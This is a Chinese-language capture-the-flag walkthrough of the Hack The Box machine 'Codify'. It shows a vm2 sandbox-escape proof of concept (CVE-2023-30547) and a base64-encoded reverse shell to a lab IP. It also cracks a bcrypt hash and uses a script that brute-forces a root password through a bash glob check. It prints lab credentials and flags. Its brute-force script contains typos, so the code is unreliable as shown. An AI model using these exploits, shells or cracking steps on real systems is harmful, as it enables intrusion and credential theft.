跳到主要内容

Codify

信息

Difficulty: Easy

Operating System: Linux

nmap 信息搜集

sudo nmap -A --min-rate=5000 -T5 -p- 10.10.11.239
PORT     STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open http Node.js Express framework
|_http-title: Codify

web 服务 Port-80

尝试进行访问

HTTP/1.1 301 Moved Permanently
Connection: Keep-Alive
Content-Length: 304
Content-Type: text/html; charset=iso-8859-1
Date: Thu, 14 Mar 2024 02:25:13 GMT
Keep-Alive: timeout=5, max=100
Location: http://codify.htb/
Server: Apache/2.4.52 (Ubuntu)

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://codify.htb/">here</a>.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at 10.10.11.239 Port 80</address>
</body></html>

/etc/hosts 文件中添加解析记录之后,尝试访问 http://codify.htb/

img

由此看来,80 端口和 3000 端口的返回服务是一致的

沙盒逃逸

http://codify.htb/limitations 中,可以得到沙盒中对于函数调用的一些限制

查阅相关资料,可以定位到这个漏洞 CVE-2023-30547

使用以下 poc 进行攻击

const {VM} = require("vm2");
const vm = new VM();

const code = `
cmd = 'id'
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};

const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync(cmd);
}
`
console.log(vm.run(code));

经过测试,可以使用常用的 bash 符号

img

尝试直接反弹 shell

cmd = 'echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE2LjIiLDk5OTkpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCIvYmluL2Jhc2giKSc= | base64 -d | bash'

img

User - svc

┌──(randark ㉿ kali)-[~]
└─$ pwncat-cs -lp 9999
[10:36:41] Welcome to pwncat 🐈!
[10:37:04] received connection from 10.10.11.239:35458
[10:37:13] 10.10.11.239:35458: registered new host w/ db
(local) pwncat$ back
(remote) svc@codify:/home/svc$ whoami
svc

环境探测

发现一个数据库文件 /var/www/contact/tickets.db

下载到本地,对数据库信息进行读取

idusernamepassword
3joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2

对哈希数据进行爆破

┌──(randark ㉿ kali)-[~]
└─$ hashid hash.txt
--File 'hash.txt'--
Analyzing '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt
--End of file 'hash.txt'--

┌──(randark ㉿ kali)-[~]
└─$ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1 (?)
......

得到凭据

joshua:spongebob1

User - joshua

┌──(randark ㉿ kali)-[~]
└─$ pwncat-cs joshua@10.10.11.239
[10:52:20] Welcome to pwncat 🐈!
Password: **********
[10:52:35] 10.10.11.239:22: registered new host w/ db
(local) pwncat$ back
(remote) joshua@codify:/home/joshua$ whoami
joshua

flag - user

(remote) joshua@codify:/home/joshua$ cat user.txt
a32a183123439045d5ea11c8c79e6649

环境探测

sudo -l
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh

查看脚本内容

#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER:" USER_PASS
/usr/bin/echo

if [[$DB_PASS == $USER_PASS]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

在其中看到

if [[$DB_PASS == $USER_PASS]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi

那么可以尝试对 $DB_PASS 变量进行爆破,也就是读取 /root/.creds 文件的内容

import string
import subproccess

def check_password(p):
command = f"echo'{p}*'| sudo /opt/scripts/mysql-backup.sh"
result = subprocess.run(command, shell=True, stdout=subproccess.PIPE, stderr=subproccess.PIPE, text=True)
return "Password confirmed!" in result.stdout

charset = string.ascii_letters + string.digits
password = ""
is_password_found = False

while not is_password_found:
for char in charset:
if check_password(password + char):
password += char
print(password)
break
else:
is_password_found = True

执行后得到密码 kljh12k3jhaskjh12kjh3

User - root

(remote) joshua@codify:/home/joshua$ su root
Password:
root@codify:/home/joshua# whoami
root

flag - root

root@codify:~# cat root.txt
f2138d1d7e9e92e46c08a57ad2c6754f